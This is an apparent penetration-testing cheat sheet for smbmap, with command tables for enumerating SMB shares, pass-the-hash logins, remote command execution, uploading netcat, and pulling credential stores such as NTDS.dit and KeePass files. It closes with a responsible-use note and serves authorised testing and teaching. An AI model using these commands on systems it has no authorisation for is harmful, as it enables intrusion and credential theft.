root@sparrow:~/writeups$ cat smbmap.md
// Active Directory
smbmap
21 Jul 2026
· 3 min read
SMBMAP is an SMB share enumeration tool that lets you list shares, walk their directory trees, download and upload files, and even run commands on the target. It is the swiss-army knife for figuring out, on a Windows server over SMB, what you can see and what you can touch.
What really matters is that SMBMAP shows you the effective permissions (READ/WRITE) on each share, not just that the share exists: that is the difference between a visible-but-useless share and a writable one that hands you execution. On top of that, many of its offensive capabilities (-x, writing to ADMIN$) require administrator privileges and lean on impacket, which makes them as powerful as they are noisy.
1. Beginner level — enumerate shares and move files

| Command | What it does |
|---|---|
smbmap -H <ip> | Lists shares using a null session |
smbmap -H <ip> -u user -p pass | Lists shares authenticated |
smbmap -H <ip> -u guest -p '' | Tests the guest account |
smbmap -H <ip> -u user -p pass -d dom | Specifies the domain |
smbmap -H <ip> -u user -p pass -r | Lists the contents of a share's root |
smbmap -H <ip> -u user -p pass -r 'C$\\Users' | Lists a specific directory |
smbmap -H <ip> -u user -p pass -R | Walks the shares recursively |
smbmap -H <ip> -u user -p pass -s share -R | Recursive over a specific share |
smbmap -H <ip> -u user -p pass --download 'C$\\flag.txt' | Downloads a file |
smbmap -H <ip> -u user -p pass --upload nc.exe 'C$\\Temp\\nc.exe' | Uploads a file |
smbmap -H <ip> -u user -p pass -x 'whoami' | Runs a command (if you are admin) |
smbmap -H <ip> -u user -p pass --depth 5 | Limits the recursion depth |
smbmap --host-file hosts.txt -u user -p pass | Scans multiple hosts |
smbmap -h | Shows the help |
2. Advanced level — pass-the-hash and post-exploitation

| Command | What it does |
|---|---|
smbmap -H <ip> -u user -p ':<hash>' | Pass-the-hash (empty LM:NT) |
smbmap -H <ip> -u user -p 'aad3b...:<nt>' | Authenticates with the full NTLM hash |
smbmap -H <ip> -u user -p pass -R 'C$' -A 'password' | Finds and downloads files matching a pattern |
smbmap -H <ip> -u user -p pass -x 'powershell -enc <b64>' | Runs encoded PowerShell |
smbmap -H <ip> -u user -p pass -R --exclude IPC$ | Excludes shares from the walk |
smbmap -H <ip> -u user -p pass -q | Quiet mode (no banner) |
smbmap -H <ip> -u null -p '' -R | Recursive recon with a null session |
smbmap -H <ip> -u user -p pass -r 'SYSVOL' | Inspects SYSVOL (GPP, logon scripts) |
smbmap --host-file hosts.txt -u user -p pass -x 'hostname' | Command across multiple hosts |
smbmap -H <ip> -u user -p pass --download 'C$\\Windows\\NTDS\\ntds.dit' | Attempts to download NTDS.dit |
smbmap -H <ip> -u user -p pass -R 'C$' | grep -i '.kdbx' | Hunts for KeePass databases |
smbmap -H <ip> -u user -p pass -s 'Backups' -R | Recursive on a backups share |
smbmap -H <ip> -u user -p pass -r 'ADMIN$' | Checks access to ADMIN$ (admin) |
for ip in $(cat hosts); do smbmap -H $ip -u user -p pass; done | Manually iterates over multiple IPs |
3. Details people miss
- SMBMAP leans on impacket: flags and syntax changed between v1 and v2 (for example how
-H/--hostis handled), so check your version before copying commands blindly. - Command execution with
-xspins up a remote service psexec-style and requires administrator privileges; it is noisy, leaves artifacts on the target and often trips EDR/AV. - For pass-the-hash use the full
LM:NTformat; if you only have the NT hash, leave the LM part empty (:<nt>) or authentication will fail. - Null-session enumeration depends on the target allowing anonymous access, which is disabled by default on modern Windows: an empty listing does not always mean you have no access.
- With backslash paths (
C$\Users) quote or escape correctly in your shell, or the path will arrive split and the command will fail.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.